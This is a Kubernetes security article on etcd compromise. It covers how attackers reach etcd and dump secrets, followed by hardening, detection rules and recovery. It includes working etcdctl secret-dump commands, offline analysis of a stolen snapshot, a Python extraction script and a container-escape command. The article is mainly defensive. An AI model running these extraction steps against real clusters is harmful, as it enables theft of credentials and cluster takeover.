Kubernetes / Platform Advanced 15 min read

ETCd Compromise: The Blast Radius of Your Kubernetes Backing Store

etcd kubernetes secrets red-team incident-response

ETCd Compromise: The Blast Radius of Your Kubernetes Backing Store

The Problem

Every security control in Kubernetes — RBAC, admission webhooks, network policies, pod security standards — sits in front of the Kubernetes API server. An attacker who bypasses the API server entirely, by connecting directly to etcd, bypasses all of them. There is no role binding to check, no webhook to call, no audit log entry in the Kubernetes audit trail. The attacker is talking to a key-value store that has no concept of Kubernetes access control.

etcd is the backing store for all Kubernetes cluster state. Every API object you create — Pod, Service, ConfigMap, Secret, ServiceAccount, ClusterRoleBinding — is serialised and stored in etcd as a key-value pair under a /registry/ prefix. The serialisation format is protobuf. The values for Kubernetes Secrets are base64-encoded. Base64 is not encryption. It is an encoding scheme that any tool can reverse in milliseconds. A raw etcdctl get on a cluster without encryption-at-rest configured returns the base64-encoded secret data directly in the output.

This distinction matters because it is widely misunderstood. The kubectl get secret command displays secret data as base64-encoded strings, which looks like it has been protected. It has not. The API server base64-encodes the values when storing them and base64-decodes them when you run kubectl get secret -o json. In etcd, those values are stored as the literal base64 string — not ciphertext, not a hash, not an opaque blob. An attacker reading etcd directly gets the base64 string and runs base64 -d to get the plaintext credential.

The practical implication: any path that gives an attacker read access to etcd data — whether that is the etcd API, the etcd data directory on disk, or a snapshot backup file — exposes every secret in every namespace including kube-system, every service account token, every TLS private key stored as a secret, and every RBAC rule in the cluster.

How Attackers Reach etcd

Path 1: Control plane node compromise

etcd typically runs on control plane nodes, either as a static pod (kubeadm clusters) or as a systemd service. An attacker who gains code execution on a control plane node has everything they need: the etcd data directory at /var/lib/etcd/member/ and the etcd client certificates at /etc/kubernetes/pki/etcd/.

Control plane nodes are reachable via several common vectors:

  • Container escape from a workload scheduled on the control plane. In many clusters, the control plane taint (node-role.kubernetes.io/control-plane:NoSchedule) is the only barrier. Any workload with a matching toleration — deliberately or accidentally — can be scheduled on control plane nodes. Once scheduled, a container escape (via a kernel vulnerability, a misconfigured privileged container, or a hostPath volume) lands the attacker on the control plane node.
  • SSH key compromise. Control plane nodes are typically accessed by platform engineers via SSH. Compromised developer workstations, leaked keys in repositories, or overly broad IAM SSH certificate access all lead here.
  • Cloud console access. In cloud-hosted clusters, a compromised cloud account with sufficient IAM permissions can use the cloud provider’s API to SSH into instances, attach volumes, or take snapshots of the control plane node’s root disk.

When the attacker lands on the control plane node, the etcd client certificates are readable by root and often by the etcd user. The API server also holds a copy of the etcd client certificate and key it uses to communicate with etcd — at /etc/kubernetes/pki/apiserver-etcd-client.crt and /etc/kubernetes/pki/apiserver-etcd-client.key.

# Attacker on control plane node — enumerate what's available
ls -la /etc/kubernetes/pki/etcd/
# ca.crt  ca.key  healthcheck-client.crt  healthcheck-client.key
# peer.crt  peer.key  server.crt  server.key

# API server's etcd client credentials
ls -la /etc/kubernetes/pki/apiserver-etcd-client.*
# apiserver-etcd-client.crt  apiserver-etcd-client.key

# etcd data directory
ls -la /var/lib/etcd/member/
# snap/  wal/

Path 2: Exposed etcd port

etcd listens on two ports: 2379 (client API) and 2380 (peer-to-peer replication). In a correctly configured cluster, only the API server should reach 2379, and only etcd peers should reach 2380. Neither port should be reachable from the pod network or the internet.

Misconfigurations that expose etcd include:

  • Cloud load balancer or security group rules that open 2379 to 0.0.0.0/0. This happens when engineers copy security group rules from application load balancers without understanding the target.
  • hostNetwork: true pods that bind to the node’s IP. If etcd is reachable from the node IP on the pod network, any hostNetwork pod — or any pod on a node without strict network policy enforcement — may reach etcd.
  • Misconfigured mTLS. etcd uses mutual TLS: both the server and client must present certificates signed by the etcd CA. If the etcd CA certificate is not correctly distributed to clients, or if --client-cert-auth=false is set (a known misconfiguration in some distributions), the authentication requirement is removed. Without mTLS enforcement, etcd accepts connections from any client.

From a compromised pod on the pod network, with a known etcd endpoint and certificates obtained from node filesystem access or through a path traversal vulnerability in a privileged component:

# From a compromised pod — probe for etcd reachability
# Control plane IPs are often discoverable from pod environment or DNS
CONTROL_PLANE_IP=$(kubectl get endpoints kubernetes -o jsonpath='{.subsets[0].addresses[0].ip}')
nc -zv $CONTROL_PLANE_IP 2379

Path 3: Backup storage access

etcd snapshots created with etcdctl snapshot save produce a single .db file containing the complete etcd state at the time of the snapshot. This file is a bbolt database, and it contains all the same data as the live etcd cluster. There is no additional encryption layer on the snapshot file itself — if the cluster does not use encryption-at-rest, the snapshot contains plaintext secret data.

Backup storage is frequently less protected than the live etcd cluster. Common exposures:

  • S3 buckets with s3:GetObject granted to * or to a broadly scoped IAM role (for example, a CI/CD role that needs read access to many buckets and accidentally has access to the backup bucket).
  • Backup files stored on NFS or shared storage accessible from application nodes.
  • Snapshots stored as CI/CD job artifacts in systems where artifact access is not restricted to the pipelines that created them.

An attacker with read access to an etcd snapshot does not need network access to etcd, does not need the etcd client certificates, and does not need to be on the control plane node. They can analyse the snapshot offline.

# Offline analysis of a stolen etcd snapshot
# Install etcd utilities
apt-get install -y etcd-client

# Restore snapshot to a local directory for analysis
ETCDCTL_API=3 etcdctl snapshot restore etcd-backup.db \
  --data-dir=/tmp/etcd-restored

# Start a local etcd instance against the restored data
etcd --data-dir=/tmp/etcd-restored \
     --listen-client-urls=http://127.0.0.1:2379 \
     --advertise-client-urls=http://127.0.0.1:2379 &

# Query without TLS (local instance, no mTLS)
ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 \
  get /registry/secrets --prefix --keys-only

What the Attacker Gets

From any of the three paths, etcdctl with valid credentials produces a full dump of cluster state:

# Read all Kubernetes secrets — keys only first, to enumerate scope
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

# Output:
# /registry/secrets/default/database-credentials
# /registry/secrets/kube-system/bootstrap-token-abc123
# /registry/secrets/kube-system/cluster-admin-token-xxxxx
# /registry/secrets/production/aws-credentials
# /registry/secrets/production/tls-cert-private-key
# ... hundreds more

# Read a specific secret
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/production/database-credentials \
  --print-value-only | strings | grep -E '[A-Za-z0-9+/]{20,}='

# Read all service account tokens
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only | grep "token"

# Read RBAC rules — understand what each service account can do
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/clusterrolebindings --prefix --keys-only

# Read pod specs — discover what IAM roles are annotated
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/pods --prefix | strings | grep -E 'arn:aws:iam'

The etcd values are protobuf-encoded Kubernetes objects. strings and grep recover readable fields from the binary data. For complete, structured extraction, etcdhelper — a tool from the Kubernetes repository — decodes protobuf-encoded etcd values into JSON:

# etcdhelper: https://github.com/openshift/origin/tree/master/tools/etcdhelper
# Decodes protobuf etcd values to readable Kubernetes API objects

# Dump and decode all secrets to JSON
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix \
  | etcdhelper decode | jq '.data | to_entries[] | .key + ": " + (.value | @base64d)'

The Python equivalent for automated extraction — for example in a red team script targeting backup files — parses the protobuf envelope without needing etcdhelper:

import subprocess
import base64
import re

def extract_secrets_from_etcd(endpoint: str, cacert: str, cert: str, key: str) -> list[dict]:
    """
    Read all Kubernetes secrets from etcd directly, bypassing RBAC.
    Returns list of {namespace, name, data} dicts.
    """
    # Get all secret keys
    result = subprocess.run([
        "etcdctl",
        f"--endpoints={endpoint}",
        f"--cacert={cacert}",
        f"--cert={cert}",
        f"--key={key}",
        "get", "/registry/secrets",
        "--prefix", "--keys-only",
    ], capture_output=True, text=True)

    secrets = []
    for path in result.stdout.strip().splitlines():
        # /registry/secrets/{namespace}/{name}
        parts = path.split("/")
        if len(parts) < 5:
            continue
        namespace, name = parts[3], parts[4]

        value_result = subprocess.run([
            "etcdctl",
            f"--endpoints={endpoint}",
            f"--cacert={cacert}",
            f"--cert={cert}",
            f"--key={key}",
            "get", path,
            "--print-value-only",
        ], capture_output=True)

        raw = value_result.stdout
        # Extract base64 values from protobuf binary blob
        # Kubernetes secret data fields appear as base64 strings in the serialised object
        b64_pattern = rb'[A-Za-z0-9+/]{16,}={0,2}'
        candidates = re.findall(b64_pattern, raw)
        decoded = {}
        for candidate in candidates:
            try:
                decoded_val = base64.b64decode(candidate)
                # Filter: decoded value should be printable-ish
                if len(decoded_val) > 4 and decoded_val.isprintable():
                    decoded[candidate.decode()] = decoded_val.decode(errors="replace")
            except Exception:
                pass

        secrets.append({"namespace": namespace, "name": name, "candidates": decoded})

    return secrets

This is not academic. A red team exercise with etcd access on a non-encrypted cluster completes in under five minutes: etcdctl get /registry/secrets --prefix, pipe through etcdhelper or strings, grep for known patterns (database URLs, AWS access key IDs starting with AKIA, private key PEM headers, JWT strings beginning with eyJ). The output contains credentials for every system the cluster interacts with.

Threat Model

The following scenarios describe realistic attack paths with realistic impact:

Scenario 1: Control plane node compromise via container escape An attacker compromises an application pod (supply chain attack, RCE in a dependency) and finds the pod has a toleration for the control plane taint — placed there by a platform engineer who wanted to run a monitoring agent on all nodes including control plane. The pod has hostPID: true for process-level metrics. The attacker uses nsenter --target 1 --mount --uts --ipc --net --pid to escape into the host PID namespace and reads /etc/kubernetes/pki/etcd/server.crt and /etc/kubernetes/pki/etcd/server.key. With these certificates, they authenticate to etcd and dump all secrets. The Kubernetes audit log shows nothing — the compromise happened at the etcd layer, below the API server.

Scenario 2: Exposed etcd on cloud provider network A Kubernetes cluster is deployed on cloud VMs. The security group for the control plane node allows 0.0.0.0/0 on port 2379, placed there during initial setup so the operator could test connectivity. mTLS is configured, but the etcd CA certificate was stored in a public S3 bucket during setup and never removed. The attacker finds the CA certificate, generates a client certificate signed by it, and queries etcd directly from the internet.

Scenario 3: Backup exfiltration via S3 misconfiguration A nightly etcd snapshot is written to an S3 bucket. The bucket policy grants s3:GetObject to a broadly scoped IAM role used by a CI/CD system. An attacker compromises the CI/CD system (via a malicious GitHub Action — see the Trivy action compromise), discovers the bucket name in a CI/CD script, and downloads the snapshot. Offline analysis extracts all secrets without ever touching the cluster network.

What etcd contains that attackers specifically want:

  • Service account tokens for kube-system service accounts — cluster-admin role bindings exist in most clusters for internal components. These JWT tokens are valid as long as the signing key has not been rotated.
  • AWS IAM role annotations on pod specs — tells the attacker exactly which IAM roles the cluster uses and which namespaces have access to them.
  • Database credentials, API keys, OAuth client secrets stored as Kubernetes Secrets by application teams.
  • TLS private keys stored as kubernetes.io/tls type secrets (ingress TLS, internal mTLS).
  • Bootstrap tokens in kube-system — these are short-lived, but active tokens allow node registration and can be used for cluster-level reconnaissance.
  • The etcd data also contains the full list of running pods with their images, environment variable names (not values — those are in Secrets), and resource annotations. This is a complete inventory of every workload in the cluster.

Hardening Configuration

1. Encrypt Secrets at Rest

Without encryption-at-rest, etcd stores secret data as a base64 string that any etcdctl get call returns directly. The EncryptionConfiguration resource tells the API server to encrypt specified resource types before writing to etcd.

# /etc/kubernetes/encryption-config.yaml
# Place this file on every control plane node.
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
      - secrets
      - configmaps  # Include if ConfigMaps store sensitive data in your cluster
    providers:
      # First provider is used for writes — new and re-encrypted secrets use this
      - aescbc:
          keys:
            - name: key-2026-05
              secret: <base64-encoded-32-byte-key>  # openssl rand -base64 32
      # identity fallback allows reading secrets written before encryption was enabled
      # Remove this entry only after all secrets have been re-encrypted
      - identity: {}

Add the flag to kube-apiserver. For kubeadm clusters, edit the static pod manifest:

# Edit /etc/kubernetes/manifests/kube-apiserver.yaml
# Add to the command section:
#   - --encryption-provider-config=/etc/kubernetes/encryption-config.yaml
# Add volume and volumeMount:

# volumeMounts:
#   - name: encryption-config
#     mountPath: /etc/kubernetes/encryption-config.yaml
#     readOnly: true

# volumes:
#   - name: encryption-config
#     hostPath:
#       path: /etc/kubernetes/encryption-config.yaml
#       type: File

# kubelet restarts the API server automatically when the manifest changes.
# On multi-control-plane clusters: update all nodes before proceeding.
kubectl get pods -n kube-system | grep kube-apiserver

After enabling encryption, existing secrets are not automatically re-encrypted. They were written before the encryption provider was configured and remain as identity (plaintext base64) in etcd. Force re-encryption with a no-op replace:

# Re-encrypt all existing secrets
kubectl get secrets --all-namespaces -o json | kubectl replace -f -

# Verify encryption is active on a specific secret
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/default/my-secret --print-value-only | \
  head -c 30 | cat -v

# Expected (encrypted): k8s:enc:aescbc:v1:key-2026-05
# NOT encrypted: {"apiVersion":"v1","kind":"Secret"...

For production clusters, use the KMS v2 provider instead of local key files. The encryption key never touches disk:

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
      - secrets
    providers:
      - kms:
          apiVersion: v2
          name: aws-kms
          endpoint: unix:///var/run/kms-plugin/kms.sock
          timeout: 3s
      - identity: {}

The KMS plugin (running as a DaemonSet on control plane nodes) receives data from the API server over a Unix socket and calls AWS KMS, GCP Cloud KMS, or Vault Transit for the actual encryption. The data encryption key is generated per-secret and wrapped by the KMS key — the KMS key itself never leaves the KMS service.

2. Lock Down etcd Network Access

etcd should never be reachable from the pod network or from the internet. On control plane nodes:

# Allow only the API server to reach etcd client port
# Replace APISERVER_IP with each control plane node's IP (they serve as API servers)
APISERVER_IP="10.0.1.10"

iptables -N ETCD_ACCESS
iptables -A ETCD_ACCESS -s 127.0.0.1 -j ACCEPT        # localhost (etcd health checks)
iptables -A ETCD_ACCESS -s $APISERVER_IP -j ACCEPT     # API server
iptables -A ETCD_ACCESS -j DROP                        # Everything else

iptables -I INPUT -p tcp --dport 2379 -j ETCD_ACCESS

# etcd peer port: only etcd members (control plane nodes) should communicate here
ETCD_PEER_1="10.0.1.10"
ETCD_PEER_2="10.0.1.11"
ETCD_PEER_3="10.0.1.12"

iptables -N ETCD_PEER_ACCESS
iptables -A ETCD_PEER_ACCESS -s $ETCD_PEER_1 -j ACCEPT
iptables -A ETCD_PEER_ACCESS -s $ETCD_PEER_2 -j ACCEPT
iptables -A ETCD_PEER_ACCESS -s $ETCD_PEER_3 -j ACCEPT
iptables -A ETCD_PEER_ACCESS -j DROP

iptables -I INPUT -p tcp --dport 2380 -j ETCD_PEER_ACCESS

# Persist across reboots
iptables-save > /etc/iptables/rules.v4

# Verify from a worker node — should see filtered
nmap -p 2379,2380 $ETCD_PEER_1
# Expected: 2379/tcp filtered, 2380/tcp filtered

Verify that etcd is not listening on interfaces reachable from the pod network. The default kubeadm configuration binds etcd to https://127.0.0.1:2379 and the control plane node’s host IP. Check the actual bind addresses:

# On the control plane node
ss -tlnp | grep 2379
# Expected: only 127.0.0.1:2379 and the node's primary IP
# NOT: 0.0.0.0:2379

# Verify mTLS is enforced
grep -E 'client-cert-auth|auto-tls' /etc/kubernetes/manifests/etcd.yaml
# client-cert-auth=true must be present
# auto-tls must NOT be true (auto-tls generates self-signed certs, not CA-signed)

3. Secure etcd Backup Storage

# S3 backup bucket: block all public access
aws s3api put-public-access-block \
  --bucket etcd-backups-prod \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Enforce server-side encryption with a dedicated KMS key
aws s3api put-bucket-encryption \
  --bucket etcd-backups-prod \
  --server-side-encryption-configuration '{
    "Rules": [{
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "aws:kms",
        "KMSMasterKeyID": "arn:aws:kms:eu-west-1:123456789:key/mrk-abc123"
      },
      "BucketKeyEnabled": true
    }]
  }'

# Restrict bucket access via resource policy: only the backup role and break-glass role
aws s3api put-bucket-policy \
  --bucket etcd-backups-prod \
  --policy '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Sid": "DenyAllExceptBackupRoles",
        "Effect": "Deny",
        "Principal": "*",
        "Action": "s3:*",
        "Resource": [
          "arn:aws:s3:::etcd-backups-prod",
          "arn:aws:s3:::etcd-backups-prod/*"
        ],
        "Condition": {
          "StringNotLike": {
            "aws:PrincipalArn": [
              "arn:aws:iam::123456789:role/etcd-backup-writer",
              "arn:aws:iam::123456789:role/etcd-restore-operator",
              "arn:aws:iam::123456789:role/break-glass-cluster-recovery"
            ]
          }
        }
      }
    ]
  }'

# Audit who has accessed the bucket in the last 7 days
aws s3api get-bucket-logging --bucket etcd-backups-prod  # Verify access logging is on
aws logs filter-log-events \
  --log-group-name /aws/s3/etcd-backups-prod \
  --start-time $(date -d '7 days ago' +%s000) \
  --filter-pattern '{ $.eventName = "GetObject" }' \
  --query 'events[].message' | jq -r '.[] | fromjson | .userIdentity.arn + " " + .requestParameters.key'

4. Detect Direct etcd Access via Audit Rules

The Kubernetes audit log does not capture etcd-layer access — the API server never sees these requests. Detection must happen at the OS level on control plane nodes.

# Linux audit rules: alert when etcd client certificates are read by unexpected processes
# The etcd server and API server legitimately read these files.
# Alert on any other process reading them.

auditctl -w /etc/kubernetes/pki/etcd -p rwa -k etcd_pki_access
auditctl -w /etc/kubernetes/pki/apiserver-etcd-client.key -p rwa -k etcd_pki_access

# Persist rules
cat >> /etc/audit/rules.d/etcd.rules << 'EOF'
-w /etc/kubernetes/pki/etcd -p rwa -k etcd_pki_access
-w /etc/kubernetes/pki/apiserver-etcd-client.key -p rwa -k etcd_pki_access
-w /var/lib/etcd -p rwa -k etcd_data_access
EOF

augenrules --load

# Query audit log for non-expected processes accessing etcd PKI
ausearch -k etcd_pki_access --start recent | \
  awk '/exe=/{print $0}' | \
  grep -v '"exe"="/usr/local/bin/etcd"\|"exe"="/usr/local/bin/kube-apiserver"'

For detecting unexpected etcd API calls using network-level monitoring:

# Alert on etcd client connections from unexpected source IPs
# Run on each control plane node
tcpdump -i any -n 'port 2379 and tcp[tcpflags] & tcp-syn != 0' \
  | awk '{print $3}' \
  | cut -d. -f1-4 \
  | sort | uniq -c | sort -rn

# Continuously monitor and alert on new source IPs connecting to etcd
# Pipe to a script that compares against an allowlist of known API server IPs

Enable etcd’s own audit logging (available in etcd v3.5+). This logs every read and write at the etcd level, including which client certificate was used:

# Add to etcd startup flags (in /etc/kubernetes/manifests/etcd.yaml for kubeadm)
# --experimental-enable-v2v3=true
# --logger=zap
# --log-level=info

# etcd v3.5+ audit: structured log output includes operation, key, and client identity
# Alert on: reads of /registry/secrets/* from client certs other than the API server cert

# Parse etcd logs for direct reads not from the expected API server certificate CN
journalctl -u etcd --since "1 hour ago" -o json | \
  jq -r 'select(.MESSAGE | contains("/registry/secrets")) |
    .MESSAGE | fromjson? |
    select(.["common-name"] != "kube-apiserver-etcd-client") |
    [.ts, .["common-name"], .key] | @csv'

5. Falco Rules for etcd Certificate Access

# falco rule: detect processes reading etcd certificates
- rule: Etcd Certificate File Read by Unexpected Process
  desc: >
    etcd client certificates were read by a process other than etcd or kube-apiserver.
    This may indicate an attacker on the control plane node attempting to authenticate
    to etcd directly.
  condition: >
    open_read
    and fd.name startswith /etc/kubernetes/pki/etcd
    and not proc.name in (etcd, kube-apiserver, kube-controller-manager)
    and not proc.name in (cp, cat, diff, auditd)
  output: >
    etcd certificate read by unexpected process
    (user=%user.name proc=%proc.name pid=%proc.pid
     file=%fd.name parent=%proc.pname cmdline=%proc.cmdline)
  priority: CRITICAL
  tags: [etcd, credential_access, T1552]

# falco rule: detect etcd data directory access
- rule: Etcd Data Directory Access
  desc: >
    A process other than etcd accessed the etcd data directory directly.
    Direct data directory access bypasses etcd's own access controls.
  condition: >
    (open_read or open_write)
    and fd.name startswith /var/lib/etcd
    and not proc.name = etcd
  output: >
    etcd data directory accessed directly
    (user=%user.name proc=%proc.name pid=%proc.pid
     file=%fd.name cmdline=%proc.cmdline)
  priority: CRITICAL
  tags: [etcd, collection, T1005]

Expected Behaviour

After enabling encryption-at-rest:

An etcdctl get on any secret path returns binary data beginning with k8s:enc:aescbc:v1:key-2026-05. The base64-encoded secret values are no longer visible in the raw output. An attacker reading the etcd snapshot file or querying etcd directly cannot recover the plaintext without the encryption key.

# Encrypted secret — what an attacker sees in etcd:
k8s:enc:aescbc:v1:key-2026-05<binary garbage>

# Without encryption — what an attacker sees:
{"apiVersion":"v1","data":{"password":"c3VwZXJzZWNyZXQ="},"kind":"Secret"...
# base64 -d <<< "c3VwZXJzZWNyZXQ=" → supersecret

After iptables rules blocking etcd port:

A connection attempt from a worker node or from a pod with hostNetwork to port 2379 on the control plane node results in no response — the packet is dropped, not rejected. The connecting process times out after the TCP timeout interval. nmap from outside the allowlist shows filtered:

PORT     STATE    SERVICE
2379/tcp filtered unknown
2380/tcp filtered unknown

After auditd rules:

Any process reading files under /etc/kubernetes/pki/etcd/ that is not etcd or kube-apiserver generates an audit event immediately. On a healthy control plane node, this audit key produces zero hits between expected maintenance operations. A single hit on etcd_pki_access from a process like bash, python3, or curl is an incident.

# Zero hits expected on healthy control plane
ausearch -k etcd_pki_access | grep -v "etcd\|kube-apiserver" | wc -l
# 0

Recovery After etcd Compromise

Recovering from etcd compromise is operationally intensive. The starting assumption must be: every secret in every namespace is compromised, every service account token is in attacker hands, and any external system that the cluster interacted with (cloud providers, databases, external APIs) may have been accessed with stolen credentials.

# Step 1: Determine the scope of access
# What time window was the attacker present?
# Check etcd audit logs, auditd logs, cloud trail logs for the control plane node

# Step 2: Rotate all Kubernetes secrets
# This forces new values to be generated for managed secrets (service account tokens)
# and requires manual rotation of externally-managed credentials stored as secrets

kubectl get secrets --all-namespaces \
  -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.type}{"\n"}{end}' \
  | tee /tmp/secret-inventory.txt

# Count by type to understand the rotation burden
awk '{print $3}' /tmp/secret-inventory.txt | sort | uniq -c | sort -rn

# For service account token secrets (type: kubernetes.io/service-account-token)
# Delete the secret — the token controller regenerates it automatically
kubectl get secrets --all-namespaces \
  -o json | jq -r '.items[] |
    select(.type == "kubernetes.io/service-account-token") |
    .metadata.namespace + "/" + .metadata.name' | \
  while read ns_name; do
    ns=$(echo $ns_name | cut -d/ -f1)
    name=$(echo $ns_name | cut -d/ -f2)
    kubectl delete secret $name -n $ns
    echo "Rotated service account token: $ns/$name"
  done

# Step 3: Invalidate projected service account tokens
# Projected tokens (the primary SA token mechanism since K8s 1.22) are signed by
# the API server. To invalidate them without rotating every token manually,
# rotate the service account signing key.

# For kubeadm clusters: the SA signing key pair is at:
# /etc/kubernetes/pki/sa.key (private) and /etc/kubernetes/pki/sa.pub (public)

# Generate a new signing key pair
openssl genrsa -out /etc/kubernetes/pki/sa.key.new 4096
openssl rsa -in /etc/kubernetes/pki/sa.key.new -pubout \
  -out /etc/kubernetes/pki/sa.pub.new

# Update kube-apiserver to accept BOTH old and new public keys during transition
# --service-account-key-file=/etc/kubernetes/pki/sa.pub      (old, for existing tokens)
# --service-account-key-file=/etc/kubernetes/pki/sa.pub.new  (new, for new tokens)
# --service-account-signing-key-file=/etc/kubernetes/pki/sa.key.new  (sign with new key)

# Once all pods have been restarted and have received new tokens:
# Remove the old public key from --service-account-key-file
# Old tokens are now invalid

# Step 4: Rotate cluster certificates
# The etcd client certificate the API server uses was accessible on the compromised node.
# Rotate all cluster certificates.

# kubeadm certificate rotation
kubeadm certs renew all
# Restart control plane components to pick up new certificates
systemctl restart kubelet

# Verify new certificate expiry
kubeadm certs check-expiration

# Step 5: Force re-encryption with new encryption key
# If encryption-at-rest was enabled and is now using a new key,
# force all secrets to be re-encrypted with the current (new) key

kubectl get secrets --all-namespaces -o json | kubectl replace -f -
kubectl get configmaps --all-namespaces -o json | kubectl replace -f -

# Step 6: Audit external credential exposure
# Every secret of type Opaque that contained external credentials
# (database passwords, API keys, cloud credentials) must be treated as compromised.
# Coordinate with application and infrastructure teams.

# Generate a list of secrets likely to contain external credentials
kubectl get secrets --all-namespaces -o json | \
  jq -r '.items[] |
    select(.type == "Opaque") |
    select(.data | keys | length > 0) |
    .metadata.namespace + "\t" + .metadata.name + "\t" + (.data | keys | join(","))' | \
  grep -v "token\|cert\|tls\|ca\|crt\|key" | \
  tee /tmp/external-credentials-to-rotate.txt

# Share this list with application teams for manual credential rotation
# in upstream systems (databases, cloud consoles, API providers)

Trade-offs

Encryption-at-rest protects data at rest, not in-memory state. An attacker with process-level access to the etcd binary (via namespace escape to PID 1 of the etcd container) can read decrypted data from memory using /proc/<pid>/mem. Encryption-at-rest addresses the snapshot theft and disk access scenarios — it does not address the full control plane compromise scenario.

etcd audit logging has real performance cost. Every read and write through etcd produces an audit log entry. On clusters with high secret churn (frequent deployments, high-volume Kubernetes API usage), etcd audit logging can add 5-10% latency to API server operations. For most clusters, the security value justifies the cost. For high-throughput clusters, consider sampling: log all writes, log reads only for high-sensitivity key prefixes (/registry/secrets/kube-system/).

Full secret rotation after etcd compromise will cause application downtime. Applications that do not support secret rotation — those that read credentials at startup and hold them in memory, or those hard-coded to a specific database user — will fail when their credentials are rotated. A pre-built secret rotation runbook that identifies which applications require restarts and in what order reduces this downtime, but it cannot be eliminated.

Service account signing key rotation invalidates all existing tokens simultaneously. Pods that use projected service account tokens (the default since Kubernetes 1.22) have those tokens expire naturally, but immediate rotation via a new signing key means all in-flight requests using the old token fail. In practice, rolling restarts across all workloads are required to distribute new tokens. On large clusters, this takes time — plan for 30 minutes to several hours depending on cluster size and pod restart policies.

Failure Modes

The base64 encoding confusion. The most persistent failure: engineers who have seen kubectl get secret -o yaml output the data as base64 strings conclude that Kubernetes secrets are encrypted. They are not. The Kubernetes documentation states this directly, but the visual appearance of base64 output looks like ciphertext to someone who has not read past the surface. The consequence is clusters where no one has considered the etcd attack surface because they believe secrets are protected. Audit this assumption by running etcdctl get /registry/secrets/default/any-secret on a test cluster — the output makes the exposure concrete.

Enabling encryption-at-rest without re-encrypting existing secrets. The API server’s EncryptionConfiguration only affects secrets written after the configuration is applied. Secrets written before that point remain in the identity (plaintext) provider. An operator enables encryption, verifies that a freshly created test secret is encrypted, and concludes that all secrets are now encrypted. They are not. Running kubectl get secrets --all-namespaces -o json | kubectl replace -f - is the mandatory second step. Without it, all pre-existing secrets remain readable in etcd.

Backup files treated as a lower-security copy. The threat model for etcd typically focuses on network access to the live etcd cluster. Backup files receive less scrutiny — they are stored in S3, they are large binary files, they look like infrastructure artifacts. The same secrets that would trigger an incident if the etcd port were exposed are sitting in a backup file with weaker access controls. Backup security posture should match or exceed live etcd security: server-side encryption, strict IAM policies, access logging, and alerts on unexpected access.

Control plane nodes running application workloads. The default taint on control plane nodes (node-role.kubernetes.io/control-plane:NoSchedule) prevents scheduling but does not prevent it. Any workload with a tolerations block that includes the control plane taint can land on a control plane node. Platform teams sometimes add this toleration to monitoring agents, log shippers, or security tools without recognising that these workloads now run alongside etcd. Any of these workloads, if compromised, provides immediate control plane node access. Enforce this boundary with a ValidatingAdmissionPolicy that rejects pods with control plane tolerations outside approved namespaces.

# ValidatingAdmissionPolicy: block control plane toleration on non-system pods
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: block-control-plane-toleration
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE", "UPDATE"]
        resources: ["pods"]
  validations:
    - expression: >
        !object.spec.tolerations.exists(t,
          t.key == "node-role.kubernetes.io/control-plane")
      message: "Pods may not tolerate the control plane taint."
      messageExpression: >
        "Pod " + object.metadata.name + " in namespace " +
        object.metadata.namespace + " attempted to tolerate the control plane taint."
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: block-control-plane-toleration-binding
spec:
  policyName: block-control-plane-toleration
  validationActions: [Deny]
  matchResources:
    namespaceSelector:
      matchExpressions:
        - key: kubernetes.io/metadata.name
          operator: NotIn
          values: [kube-system, monitoring, logging]  # approved namespaces only